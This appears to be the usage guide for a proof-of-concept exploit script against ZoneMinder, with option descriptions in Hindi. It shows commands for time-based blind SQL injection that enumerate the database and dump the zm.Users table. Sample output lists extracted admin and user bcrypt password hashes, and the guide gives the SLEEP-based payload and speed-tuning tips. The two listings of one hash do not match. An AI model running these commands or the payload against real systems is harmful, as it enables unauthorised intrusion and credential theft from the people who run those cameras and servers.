pip install requests

python3 poc.py -t example.local -u admin -p password

python3 poc.py -t example.local --cookie 'ZMSESSID_value'

python3 poc.py -t example.local -u admin -p password -v

python3 poc.py -t example.local -u admin -p password --dbs

python3 poc.py -t example.local -u admin -p password -D zm --tables

python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns

python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump

आवश्यक:
  -t, --target TARGET       लक्ष्य URL (IP, होस्टनाम, या पूर्ण URL)
  
प्रमाणीकरण:
  -u, --username USERNAME   प्रमाणीकरण के लिए उपयोगकर्ता नाम
  -p, --password PASSWORD   प्रमाणीकरण के लिए पासवर्ड
  --cookie COOKIE           सेशन कुकी (ZMSESSID)

गणना:
  --dbs                     डेटाबेस की गणना करें
  -D, --database DATABASE   उपयोग करने के लिए डेटाबेस
  --tables                  टेबल की गणना करें
  -T, --table TABLE         उपयोग करने के लिए टेबल
  --columns                 कॉलम की गणना करें
  --dump                    टेबल डेटा डंप करें

प्रदर्शन:
  --delay DELAY             सेकंड में समय विलंब (डिफ़ॉल्ट: 3, सुरक्षित)
  --threads THREADS         थ्रेड्स की संख्या (डिफ़ॉल्ट: 5, सुरक्षित)
  -v, --verbose             निष्कर्षण प्रगति दिखाएं

python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5

python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20

[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!

[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.

====================================================================================
| Username   | Password                                                      |
====================================================================================
| admin      | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john       | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================

[+] 2 entries dumped

1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)

# विलंब बढ़ाएं और थ्रेड कम करें
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3

# विलंब कम करें और थ्रेड बढ़ाएं (सटीकता कम हो सकती है)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10

# पहले डेटाबेस की गणना करें
python3 poc.py -t example.local -u admin -p password --dbs

# फिर टेबल की गणना करें
python3 poc.py -t example.local -u admin -p password -D database_name --tables